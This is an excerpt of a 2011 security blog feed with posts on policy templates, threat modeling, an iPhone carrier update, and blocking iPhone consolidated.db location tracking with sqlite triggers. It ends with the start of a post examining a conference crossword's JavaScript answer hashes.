<p>Saying all of this is fine, but it doesn't make the auditors stop 
asking, and it doesn't put a green box or tick in the 
ISO/PCI/CoBIT/HIPAA/SOX policies checkbox. Previously, I've pointed 
people at existing policy repositories, where sample policies can be 
downloaded and modified to suit their need. Sites such as <a href="http://www.csoonline.com/article/486324/security-tools-templates-policies">CSOOnline</a> or <a href="http://www.packetsource.com/categories/security-policies/sample-policies/">PacketSource</a> have links to some policies, but by far the most comprehensive source of free security policy templates is <a href="http://www.sans.org/security-resources/policies/">SANS</a>.
 The problem is people seem to look at these, think it looks like work, 
and move on to a consultancy that's happy to charge for a month's worth 
of time. Even when you don't, the policies are buried in sub-pages that 
don't always make sense (for example, why is the Acceptable Use Policy 
put under &quot;computer security&quot;), even then several of them are only 
available in PDF form (hence not editable), even though they are 
explicitly written as modifiable templates. What I did was to go through
 all of these pages, download the documents, convert them into relevant 
formats and categorise them into a single view in a spreadsheet with 
hyperlinks to the documents. I've also included their guidance documents
 on how to write good sec policies, and ISO 27001-linked policy 
roadmaps. I haven't modified any of the actual content of the documents,
 and those retain their original copyright. I'm not trying to claim any 
credit for others' hard work, merely make the stuff a little more 
accessible.</p> 
<p>You can download the index and documents <a href="http://www.sensepost.com/cms/resources/labs/tools/management/policies.zip">HERE</a>.</p> 
<p>In future, I hope to add more &quot;good&quot; policies (a few of the SANS 
policies aren't wonderful), and also look into expanding into security 
standards (ala <a href="http://benchmarks.cisecurity.org/en-us/?route=default">CIS Security</a>)
 in the future. If necessary, take this to a consultancy, and ask them 
to spend some time making these specific to your organisation and way of
 doing things, but please, if you aren't getting the basics right, don't
 focus on these. In the meantime, if you're looking for information 
security policies to go away, so you can get on with the bigger problems
 organisations, and our industry in general are facing, then this should
 be a useful tool.</p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1034-Threat-Modeling-vs-Information-Classification.html" rel="alternate" title="Threat Modeling vs Information Classification" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-06-09T13:24:50Z</published>
        <updated>2011-06-14T07:16:32Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1034</wfw:comment>
    
        <slash:comments>2</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1034</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1034-guid.html</id>
        <title type="html">Threat Modeling vs Information Classification</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p><em>This was originally posted on the <a href="http://www.sensepost.com/blog/5873.html">SensePost blog</a>.</em></p>
<p><em></em>Over the last few years there has been a popular meme talking about 
information centric security as a new paradigm over vulnerability 
centric security. I've long struggled with the idea of 
information-centricity being successful, and in replying to a post by <a href="https://logicalsecurity.wordpress.com/2011/06/07/information-class-ed-ification/">Rob Bainbridge</a>, quickly jotted some of those problems down.</p> 
<p>In pre-summary, I'm still sceptical of information-classification 
approaches (or information-led control implementations)&#160; as I feel they 
target a theoretically sensible idea, but not a practically sensible 
one.</p> Information gets stored in information containers (to borrow a phrase from <a href="http://www.cert.org/octave/">Octave</a>)
 such as the databases or file servers. This will need to inherit a 
classification based on the information it stores. That's easy if it's a
 single purpose DB, but what about a SQL cluster (used to reduce 
processor licenses) or even end-user machines? These should be moved up 
the classification chain because they may store some sensitive info, 
even if they spend the majority of the time pushing not-very-sensitive 
info around. In the end, the hoped-for cost-saving-and-focus-inducing 
prioritisation doesn't occur and you end up having to deploy a 
significantly higher level of security to most systems. Potentially, you
 could radically re-engineer your business to segregate data into 
separate networks such as some PCI de-scoping approaches suggest, but, 
apart from being a difficult job, this tends to counter many of the 
business benefits of data and system integrations that lead to the 
cross-pollination in the first place.

<p>Next up, I feel this fails to take cognisance of what we call 
&quot;pivoting&quot;; the escalation of privileges by moving from one system or 
part of a system to another. I've seen situations when the low 
criticality network monitoring box is what ends up handing out the 
domain administrator password. It had never been part of 
internal/external audits scope, none of the vulns showed up on your 
average scanner, it had no sensitive info etc. Rather, I think we need 
to look at physical, network and trust segregation between <strong>systems</strong>, and then <strong>data</strong>.
 It would be nice to go data-first, but DRM isn't mature (read simple 
&amp; widespread) enough to provide us with those controls.</p> 
<p>Lastly, I feel information-led approaches often end up missing the 
value of raw functionality. For example, a critical trade execution 
system at an investment bank could have very little sensitive data 
stored on it, but the functionality it provides (i.e. being able to 
execute trades using that bank's secret sauce) is hugely sensitive and 
needs to be considered in any prioritisation.</p> 
<p>I'm not saying I have the answers, but we've spent a lot of time 
thinking about how to model how our analysts attack systems and whether 
we could &quot;guess&quot; the results of multiple pentests across the 
organisation systematically, based on the inherent design of your 
network, systems and authentication.&#160;The idea is to use that model to 
drive prioritisation, or at least a testing plan. This is probably 
closer aligned to the idea of a threat-centric approach to security, and
 suffers from a lack of data in this area (I've started some preliminary
 work on incorporating VERIS metrics).</p> 
<p>In summary, I think information-centric security fails in three ways;
 by providing limited prioritiation due to the high number of shared 
information containers in IT environments, by not incorporating how 
attackers move through a networks and by ignoring business critical 
functionality.</p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1033-Vodacom-ZA-iPhone-Carrier-Update.html" rel="alternate" title="Vodacom ZA iPhone Carrier Update" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-06-07T08:05:23Z</published>
        <updated>2011-06-07T08:05:23Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1033</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1033</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/5-Geek" label="Geek" term="Geek" />
    
        <id>http://www.singe.za.net/blog/archives/1033-guid.html</id>
        <title type="html">Vodacom ZA iPhone Carrier Update</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Yesterday I got sent a carrier update on my iPhone. I was interested in what this does, so pulled it apart, this is the list of changes it made. This is pretty uninteresting and just an excuse for me to understand carrier updated.<br /> <p>Apple has a post on carrier updated <a href="http://support.apple.com/kb/HT1970?viewlocale=en_US" title="About carrier updates settings in iTunes">here</a>, which specifies the locations the files are downloaded to your machine. They have a &quot;.ipcc&quot; extension, but file shows them to be simple ZIP files. Unlike firmware updates, iTunes does not delete the old version on download of a new one, so it's easy to compare them. You can unzip them, then you'll need to use plutil to convert the .plist files from binary form to XML with the command: <font face="courier new,courier,monospace">plutil -convert xml1 &lt;filename&gt;.plist</font> . After that, a simple diff -u showed the changes with context. This were helpfully explained by the <a href="http://www.theiphonewiki.com/wiki/index.php?title=Carrier.plist">iPhone Wiki's breakdown of the attributes</a>. The relevant changes were:</p>
<ul>
<li> The maximum number of Bluetooth modem tethering connections has been set to 5</li>
<li>Facetime registration SMS'es will not require an opt-in due to cost</li>
<li>A roaming voicemail number has been explicitly set (an UK number)</li>
<li>A new &quot;blank&quot; APN was added. I have no idea what this is for, and it doesn't seem to appear on the actual phone as an option.<br /></li>
<li>Some carrier pictures have been updated<br /></li>
</ul> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1032-Security-Vendor-Bingo.html" rel="alternate" title="Security Vendor Bingo" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-05-08T18:56:08Z</published>
        <updated>2011-05-08T19:44:13Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1032</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1032</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/3-Play" label="Play" term="Play" />
    
        <id>http://www.singe.za.net/blog/archives/1032-guid.html</id>
        <title type="html">Security Vendor Bingo</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <a href="http://zonbi.org/">Matt Erasmus</a> came up with <a href="http://www.zonbi.org/archives/586">a great idea</a> for taking the <a href="http://blogs.gartner.com/greg_young/2011/02/11/dont-forget-your-security-bingo-card-for-the-rsa-conference-next-week/">Security Bingo card from RSA</a>, and making<a href="/docs/vendor-bingo.pdf"> our own</a> for the ITWeb Security Summit, and using it to generate some funds for <a href="http://www.hackersforcharity.org/">Hackers for Charity</a>. Last year, thanks to companies such as ITWeb, SensePost &amp; Telspace we managed to send R15k over to HFC, and it would be nice to do it (or more) again.<br /> <p>I have a long standing bug-bear over the uselessness that security vendors seem to bring to cons in ZA. They respond to requests for &quot;please don't pitch your product&quot; by talking generically about the &quot;outsourced next generation cloud-based firewall industry&quot; as if that was some sort of legitimate field that didn't constitute only their product. They still send sales/pre-sales/product specialists with their EMEA marketing deck, rather than something of actual value. But as long as they're offering money, people take it, no questions asked. You'd think the empty rooms and people walking out of their presentations would send the message, but instead a local distributor finds a new vendor, or the vendor sends a new person, so the lesson is never learned.</p> 
<p>That's not why Matt suggested the bingo, but it's one of the main reason's I helped. I want the vendor telling us that their product will block 100% of APTs to walk away feeling dirty and ashamed, and maybe even realise the error of their ways and turn into the next Charlie Miller. Also, I want to help Johnny, and the great work HFC is doing in Uganda (and Kenya).</p> 
<p>So, as Matt <a href="http://www.zonbi.org/archives/604">already said</a>. Find either he or I at the security summit (we'll be wearing I Hack Charities shirts) and give us R50 (or more, it's for a good cause) and we'll give you a <a href="/docs/vendor-bingo.pdf">security vendor bingo card</a> (feel free to pre-print yours). Fill it out during the talks or on the con floor, optionally with the name of the vendor so we can tally a highscore list, then either return it to us in person, or mail it to the address printed on it, and we'll give you the results. There'll be some sort of prize if we can muster one, one for the person to complete first with the highest score, and one for the person who comes up with the best &quot;other&quot; phrase. Given that you could just tick them all off and give yourself a first high score, this will be a &quot;Don't be a Douche&quot; style contest.<br /></p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1030-Blocking-iPhone-Tracking-consolidated.db-Solved.html" rel="alternate" title="Blocking iPhone Tracking (consolidated.db) Solved" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-04-26T22:43:32Z</published>
        <updated>2011-05-03T18:18:42Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1030</wfw:comment>
    
        <slash:comments>4</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1030</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/21-Privacy" label="Privacy" term="Privacy" />
    
        <id>http://www.singe.za.net/blog/archives/1030-guid.html</id>
        <title type="html">Blocking iPhone Tracking (consolidated.db) Solved</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>After <a href="http://www.singe.za.net/blog/archives/1029-Quick-note-on-the-iPhone-Location-Tracking-Disclosure.html">several days</a> of trying all the different solutions proposed as the story has emerged, I think I've finally got a solution that is both usable (i.e. doesn't break anything) and permanent (i.e. apply once and let dry).</p> 
<p>My <a href="http://www.singe.za.net/blog/archives/1029-Quick-note-on-the-iPhone-Location-Tracking-Disclosure.html">original suggestion</a> of rubbish values + read-only didn't work, <a href="http://www.redmondpie.com/untrackerd-prevent-iphone-location-tracking-cydia-jailbreak-only/">untrackerd</a> takes up valuable memory &amp; battery and misses nearly all the worrying data &amp; the SQL triggers file from <a href="http://seclists.org/fulldisclosure/2011/Apr/408">Tehtri</a> also missed some data and breaks some functionality (most notably the compass).&#160;</p> <p>However, Tehtri's idea was the best. They proposed a set of SQL triggers that would reset the consolidated.db to a clean state and prevent it filling up with your location data. All this without requiring a persistent daemon or the need to re-apply the fix. I've edited their SQL (you can see the changes <a title="Changes from the original" href="/utils/iphone-tracker/singe-iphone-privacy-full.sql">here</a>, this is merely for those interested, don't run it) to reset consolidated.db to how it looks when locationd creates a blank new one, then modified the triggers to do the same (rather than just blank all the tables). I've also extended it to include some tables they had missed, and not delete some data it shouldn't (e.g. blanking TableVersions makes locationd unhappy, and it has no location data in it anyway) . Finally, I leave the last entry of the compass calibration (in the trigger too) so you don't have to constantly recalibrate your compass (every minute or so it was). I haven't found it break anything yet (even location via nearby wifi BSSID works without storing the values). Grab the final, clean version from <a href="/utils/iphone-tracker/singe-iphone-privacy.sql">here</a>, and apply with the sqlite command:</p> 
<p><font face="'courier new', courier, monospace">sqlite3 consolidated.db '.read singe-iphone-privacy.sql'</font> </p> 
<p>There are three ways to do this:</p> 
<p> </p> 
<ol> 
<li>On a jailbroken phone with sqlite3 installed, you can scp or wget the file to the device and do it there &amp; then.</li> 
<li>On a jailbroken phone, you can copy consolidated.db off, apply the patch, then copy it back.</li> 
<li>On an unjailbroken (aka normal) phone, you can use the backup &amp; restore method&#160;</li> 
</ol> 
<p>If you're jailbroken, you can figure it out.</p>
<p>Update: The below instructions no longer work after iTune 9.2 implemented a new proprietary backup format. I'm hoping the documentation <a href="https://code.google.com/p/iphonebackupbrowser/wiki/MbdbMbdxFormat">here</a> will allow a quick update of the file hash &amp; size to let the restore work, but until I or someone else has time. You'll need to be jailbroken to protect yourself.<br /></p>
<p>For normal people, follow these instructions:</p> 
<p> </p> 
<p> </p> 
<ol> 
<li>Plug in your iPhone and let iTunes make a backup. Make sure the backup isn't encrypted, we'll do that later.<br /></li> 
<li>Go to your backups directory. On OSX it will be in <font face="courier new,courier,monospace">/Users/&lt;username&gt;/Library/Application Support/MobileSync/Backup/</font>&#160;&#160;In Win7 it will be in&#160;<tt><font face="'courier new', courier, monospace">\Users\&lt;username&gt;\AppData\Roaming\Apple Computer\MobileSync\Backup\</font> </tt>other windows locations are listed <a href="http://support.apple.com/kb/ht1766">here</a>.&#160;It will contain several randomly named directories, change 
into the one with the latest timestamp (sort by last-modified date) to work on your last backup.</li> 
<li>Get hold of the iphonels.py file. Either by copy pasting from the original <a href="http://stackoverflow.com/questions/3085153/how-to-parse-the-manifest-mbdb-file-in-an-ios-4-0-itunes-backup">here</a>, or just downloading <a title="iPhone backup list" href="/utils/iphone-tracker/iphone-ls.py">this one</a>.</li> 
<li>Look for the randomly named file that maps to consolidated.db by running the iphone-ls.py and grepping for &quot;consolidated&quot; e.g.: <font face="'courier new', courier, monospace">./iphone-ls.py | grep consolidated</font>. It will look something like '<span style="font-family: 'courier new',courier,monospace;">3086b93ce76d2847dc283405811e284a7c815839'.&#160;</span>If you're on Windows, you'll need to install <a href="http://www.python.org/download/windows/">python</a>.
</li> 
<li>The value in brackets is the name of the file as it is stored in the backup folder. This name will be consistent across all your backups.</li> 
<li>Apply the SQLite modifications from here to the file, either use the sqlite3 command line utility e.g. <font face="'courier new', courier, monospace">sqlite3 3086b93ce76d2847dc283405811e284a7c815839 '.read singe-iphone-privacy.sql'</font>, or use your <a href="http://www.sqlite.org/cvstrac/wiki?p=ManagementTools">favourite GUI</a>.</li> 
<li>Overwrite all copies of consolidated.db in each backup directory with the new version. This is easy to do as the random file name is consistent across backups, so just copy the new file into each backup directory.
</li> 
<li>Next, plug in your phone, and restore your backup. Remember to re-encrypt your backups.</li> 
</ol><em>Update 1: Restoring to a non-jailbroken phone doesn't work. Updated the .sql with the 'vacuum' command to flush out old data (thanks Istvan)</em>.<br /> 
<p> </p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1031-Apples-PR-on-Location-Data.html" rel="alternate" title="Apple's PR on Location Data" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-04-28T04:37:02Z</published>
        <updated>2011-05-03T17:41:35Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1031</wfw:comment>
    
        <slash:comments>1</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1031</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/21-Privacy" label="Privacy" term="Privacy" />
    
        <id>http://www.singe.za.net/blog/archives/1031-guid.html</id>
        <title type="html">Apple's PR on Location Data</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                Apple responded to the location logging stuff with <a href="http://www.apple.com/pr/library/2011/04/27location_qa.html">a Q&amp;A</a> aimed at dispelling some of they myths all the hype has created. The only problem is, they try to dispel some of the facts too. <blockquote>1. Why is Apple tracking the location of my iPhone? 




<p><strong>
Apple is not tracking the location of your iPhone</strong>. Apple has never done so and has no plans to ever do so. </p> 
</blockquote> 
<blockquote>3. Why is my iPhone logging my location?





<p><strong>
The iPhone is not logging your location. Rather, it’s maintaining a database of Wi-Fi hotspots and cell towers around your current location</strong>, some of which may be located more than one hundred miles away from your iPhone, to help your iPhone rapidly and accurately calculate its location when requested. Calculating a phone’s location using just GPS satellite data can take up to several minutes. iPhone can reduce this time to just a few seconds by using Wi-Fi hotspot and cell tower data to quickly find GPS satellites, and even triangulate its location using just Wi-Fi hotspot and cell tower data when GPS is not available (such as indoors or in basements). These calculations are performed live on the iPhone using a crowd-sourced database of Wi-Fi hotspot and cell tower data that is generated by tens of millions of iPhones sending the geo-tagged locations of nearby Wi-Fi hotspots and cell towers in an anonymous and encrypted form to Apple. </p> 
</blockquote> 
<blockquote>4. Is this crowd-sourced database stored on the iPhone? 





<p>
The entire crowd-sourced database is too big to store on an iPhone, so we download an appropriate subset (cache) onto each iPhone. This cache is protected but not encrypted, and is backed up in iTunes whenever you back up your iPhone. The backup is encrypted or not, depending on the user settings in iTunes. <strong>The location data that researchers are seeing on the iPhone is not the past or present location of the iPhone</strong>, but rather the locations of Wi-Fi hotspots and cell towers surrounding the iPhone’s location, which can be more than one hundred miles away from the iPhone. We plan to cease backing up this cache in a software update coming soon (see Software Update section below). </p> 
</blockquote> 
<p>Their claim pretty explicitly states, that they aren't storing location data based on your actual position. The facts would appear to indicate otherwise (these are based on the copy of consolidated.db that was on my phone:</p> 
<p> </p> 
<ul> 
<li>The tables &quot;CellLocationHarvest&quot; &amp; &quot;CellLocationLocal&quot; store both &quot;Speed&quot; and &quot;Course&quot; entry (several others have these fields, but did not have any or valid data in them). Unless cell towers have a habit of moving about, this would appear to be logging *your speed &amp; direction* and not just &quot;tower data&quot;. Granted, the &quot;CellLocation&quot; table containing the most significant amount of data, did not have valid data in the speed fields.</li> 
<li>The table names imply different uses for e.g. we'd expect CdmaCellLocation, CellLocation &amp; WifiLocation tables to store the info they speak about above. But the &quot;LocationHarvest&quot; table not only stores valid speed &amp; course fields, it also assigns a unique &quot;Trip ID&quot; e.g&#160;D47CA532-84C9-40CD-8BE6-B3895837DA3C. This looks like a unique identifier based on *your* movements, not those of the cell towers.</li> 
<li>Even if this was downloading offline caches of cell towers &amp; APs for assisted GPS, given this includes details as granular as my neighbours Wifi AP, this is still more than enough to track your actual location. We've seen large data sets with &quot;unique anonymous&quot; identifiers deanonymised many times.</li> 
<li>The data is good enough for forensic investigators to use, <a href="https://alexlevinson.files.wordpress.com/2011/04/photo.jpg">here's a screenshot</a> from a book on iOS forensics: &quot;consolidated.db [snip] is potentially one of the most forensically rich files an analyst can use.&quot; It strikes me that if it's good enough to use in the courts, then the implications may be a bit wider than Apple claims.</li> 
<li>And finally, further down the QA, Apple contradicts their statement of &quot;The iPhone is not logging your location&quot; by explaining that it is, and this will be used for traffic information. This explains the &quot;LocationHarvest&quot; table mentioned above.</li> 
</ul> 
<blockquote>8. What other location data is Apple collecting from the iPhone besides crowd-sourced Wi-Fi hotspot and cell tower data?




<p> Apple is now collecting anonymous traffic data to build a crowd-sourced traffic database with the goal of providing iPhone users an improved traffic service in the next couple of years.</p> 
<p> </p> 
</blockquote> 
<p>On the up side, they acknowledge at least one bug:</p> 
<blockquote> 
<p>7. When I turn off Location Services, why does my iPhone sometimes continue updating its Wi-Fi and cell tower data from Apple’s crowd-sourced database?</p> 
<p>It shouldn’t. This is a bug, which we plan to fix shortly (see Software Update section below). </p> 
</blockquote> 
<p>I haven't seen what is actually transmitted to Apple, so can't comment on how much is uploaded or downloaded. However, I can attest to have seen the iPhone populate the file with tower &amp; AP information when first populating it with data (123 cell towers, and 401 wifi APs). So that part is at least true.</p> 
<p>In conclusion, I certainly don't think this is a serious threat, but this file does store rich location data that can be used by anyone with access to it to disclose a significant history of your movements. Apple has attempted to play that down, but for people to who the privacy of that data may be of critical importance (think protesters in Lybia or Egypt), they should <a href="http://www.singe.za.net/blog/archives/1030-Blocking-iPhone-Tracking-consolidated.db-Solved.html">take steps to protect themselves</a>. Finally, it is also my belief, that based on the data in the file, if Apple has access to the same data, then there is enough information for them to uniquely identify both you, and your location history. They claim they aren't, but it just takes one breach for all of this data to end up somewhere we need to make different assumptions about, and I'd prefer that the location data Apple (and others, like my mobile service provider) collected without my consent, be deleted.</p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1029-Quick-note-on-the-iPhone-Location-Tracking-Disclosure.html" rel="alternate" title="Quick note on the iPhone Location Tracking Disclosure" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-04-21T05:45:27Z</published>
        <updated>2011-04-26T23:20:53Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1029</wfw:comment>
    
        <slash:comments>0</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1029</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/21-Privacy" label="Privacy" term="Privacy" />
    
        <id>http://www.singe.za.net/blog/archives/1029-guid.html</id>
        <title type="html">Quick note on the iPhone Location Tracking Disclosure</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                <p>Update 3: I've modded Tehtri's approach and it appears to be working nicely, read <a href="http://www.singe.za.net/blog/archives/1030-Blocking-iPhone-Tracking-consolidated.db-Solved.html">this post</a>.&#160;</p>
<p>Update 2: <a href="http://www.redmondpie.com/untrackerd-prevent-iphone-location-tracking-cydia-jailbreak-only/">untrackerd</a> seems to clear out two tables only, and not the most worrying tables either (at least in my file). After 2 days of use, it didn't change a single entry in my consolidated.db (I was using v0.2). So I've ditched it. However, the guys from <a href="http://www.tehtri-security.com/" title="Tehtri Security">Tehtri Security</a>, <a href="http://seclists.org/fulldisclosure/2011/Apr/408">posted a leet idea to Full Disclosure</a> of using triggers (I had no idea SQLite3 could do triggers). The triggers ensure that the relevant tables get auto-truncated when written to. You can download <a href="http://www.tehtri-security.com/tehtris-iphone-privacy.sql">this SQL file</a>, and apply it to consolidated.db with the command (assuming it's in the same directory):</p> 
<p> </p> 
<pre style="margin-top: 0em; margin-right: 0em; margin-bottom: 0em; margin-left: 0em; ">sqlite3 consolidated.db '.read tehtris-iphone-privacy.sql'</pre> 
<p>I've checked and applied the triggers, and they seem to be functioning (I watched the file shrink as loc data was written), and location services are working. So far so good. You can either use the backup &amp; restore method discussed below, or if jailbroken, you can scp the file off the device, apply the change and scp back, or install sqlite3 via Cydia and do it on the device.<br /></p> 
<p><em>
Update 1 - Warning: This breaks location services. I didn't notice because I spoof my location to a bunch of apps, whoops. The specific aspect that breaks location services appears to be the use of the stub consolidated.db file. The read-only permission flags get ignored on an otherwise &quot;correct&quot; file. You can delete the file regularly and it won't cause any problems however. There is a jailbroken application, untrackerd, which will run a daemon to do it for you. When I get a chance, I'd like to extend the SBSettings GPS switch to delete the file too (i.e. delete consolidated.db on GPS switch on).</em></p> 
<p> Yesterday, Pete Warden and Alasdair Allen released <a href="http://petewarden.github.com/iPhoneTracker/#faq">some research</a> and a tool that showed that Apple has been collecting detailed location data since v4 of iOS in a file called consolidated.db. Apart from the worry of wtf Apple is collecting such detailed information, this file is available in the clear in all your iTunes backups, meaning any application on your computer can access it if you haven't encrypted your backups. To demonstrate that, Pete and Alasdair released <a href="http://petewarden.github.com/iPhoneTracker/" title="iPhoneTracker">a demo app</a> that gives a scary amount of detail about your movements.<br /> </p> <p>The only advice given by the researchers was to encrypt your backups. This will prevent other apps from reading the file out of them, but it won't stop the file from existing at the source. I did some quick poking and found a better solution. You can edit your consolidated.db to contain junk data, and replace it in your backups, and restore your phone. If you've got a jailbroken phone, you can also remove write permissions to the file, and it won't get updated (based on the limited testing I performed).

</p> 
<p>Here's the step by step guide:</p> 
<ul> 
<li>Plug in your iPhone and let iTunes make a backup. Make sure the backup isn't encrypted, we'll do that later.<br /></li> 
<li>Go to your backups directory. On OSX it will be in <font face="courier new,courier,monospace">/Users/&lt;username&gt;/Library/Application Support/MobileSync/Backup/</font>
 (note, there's no &quot;s&quot; on the end of Backup like the iPhoneTracker FAQ 
suggests). In Win7 it will be in&#160;<tt><font face="'courier new', courier, monospace">\Users\&lt;username&gt;\AppData\Roaming\Apple Computer\MobileSync\Backup\</font>&#160;o</tt>ther windows locations are listed <a href="http://support.apple.com/kb/ht1766">here</a>.&#160;It will contain several randomly named directories, change 
into the one with the latest timestamp to work on your last backup.</li> 
<li>Get hold of the iphonels.py file. Either by copy pasting from the original <a href="http://stackoverflow.com/questions/3085153/how-to-parse-the-manifest-mbdb-file-in-an-ios-4-0-itunes-backup">here</a>, or just downloading <a href="/utils/iphone-tracker/iphone-ls.py" title="iPhone backup list">this one</a>.</li> 
<li>Look for the randomly named file that maps to consolidated.ls by running the iphone-ls.py and grepping for &quot;consolidated&quot; e.g.:<font face="courier new,courier,monospace"> ./iphone-ls.py | grep consolidated</font></li> 
<li>The value in brackets is the name of the file as it is stored in the backup folder. This name will be consistent across all your backups.</li> 
<li>If you like, open the file up in your favourite SQLite editor and mess up the tracking values. Or to save time, you can use <a href="/utils/iphone-tracker/consolidated-messedup.db">this one</a>. In my file, I truncated as many tables as made sense (e.g. I didn't truncate the &quot;versions&quot; table), and for those which couldn't be truncated, overwrite the private data with 1's.</li> 
<li>I then overwrite all copies of consolidated.db with the new neutered version. This is easy to do as the random file name is consistent across backups.</li> 
<li>Next, plug in your phone, and restore your backup. Remember to re-encrypt your backups.</li> 
</ul> 
<p>The problem with this approach, is that it will need to be done regularly to keep clearing out the new location data that gets written. If you have jailbroken your phone, you can take the additional step of overwriting the file on the device (it's in <font face="courier new,courier,monospace">~/Library/Caches/locationd/consolidated.db</font>) then chmod'ing it to 440 to make it read-only (this doesn't work, the perms are ignored, you'd need to SetFile). I did this then tried several things such as switching the GPS on and off, reconnecting to the cell network, turning wifi on/off, turning on my GPS app, airplane mode on/off etc. and nothing updated the file (because I was spoofing my location, whoops). Although, a -journal file does get created for brief short periods, that quickly disappears (too fast for me to grab a sample, and too inconsistently for me to repeatedly force it's generation).</p> 
<p><em>Todo (or if you feel like contributing): Modify the iphone-ls.py file to allow changing values, most notably the permissions (2 byte integer) to allow the backup to mark the file as read-only.</em><br /> </p> 
            </div>
        </content>
        
    </entry>
    <entry>
        <link href="http://www.singe.za.net/blog/archives/1028-Cracking-the-ITWeb-Security-Summit-Puzzle.html" rel="alternate" title="Cracking the ITWeb Security Summit Puzzle" />
        <author>
            <name>Dominic White</name>
                    </author>
    
        <published>2011-04-08T15:18:26Z</published>
        <updated>2011-04-14T09:24:12Z</updated>
        <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1028</wfw:comment>
    
        <slash:comments>1</slash:comments>
        <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=atom1.0&amp;type=comments&amp;cid=1028</wfw:commentRss>
    
            <category scheme="http://www.singe.za.net/blog/categories/4-Security" label="Security" term="Security" />
    
        <id>http://www.singe.za.net/blog/archives/1028-guid.html</id>
        <title type="html">Cracking the ITWeb Security Summit Puzzle</title>
        <content type="xhtml" xml:base="http://www.singe.za.net/blog/">
            <div xmlns="http://www.w3.org/1999/xhtml">
                This is a pretty pointless entry talking about the <a href="http://www.itweb.co.za/index.php?option=com_content&amp;view=article&amp;id=42677&amp;Itemid=2330">simple crossword challenge</a> provided by the <a href="http://www.itweb.co.za/index.php?option=com_content&amp;view=article&amp;id=38100&amp;Itemid=2330">ITWeb Security Summit</a>. <p>The crossword is trivial, I was able to guess each word on first attempt, except the last long word. Instead of thinking about it, and realising that several others had already done it, I thought I'd have a look at the code.</p> 
<p>It turns out that the code is somewhat smart and doesn't reveal the words, rather it uses a custom hashing algorithm and stores the hashes. The two pieces of JavaScript controlling the crossword are<a href="http://www.itweb.co.za/_1/q1_1.js"> the configuration (questions &amp; answers)</a> and <a href="http://www.itweb.co.za/_1/q1_2.js">the functionality</a>. There are two interesting pieces of information in these, the first is the hashes of the answers stored in the configuration:</p> 
<p><font face="courier new,courier,monospace">AnswerHash = new Array(10664, 37493, 27958, 81424, 27548, 67695, 31280);</font></p> 
<p>And the second, in the functionality, is the hashing algorithm:</p> 
<p><font face="courier new,courier,monospace">function HashWord(Word)<br />{<br />&#160;&#160;&#160; var x = (Word.charCodeAt(0) * 719) % 1138;<br />&#160;&#160;&#160; var Hash = 837;<br />&#160;&#160;&#160; var i;<br />&#160;&#160;&#160; for (i = 1; i &lt;= Word.length; i++)<br />&#160;&#160;&#160;&#160;&#160;&#160;&#160; Hash = (Hash * i + 5 + (Word.charCodeAt(i - 1) - 64) * x) % 98503;<br />&#160;&#160;&#160; return Hash;<br />}</font></p> 
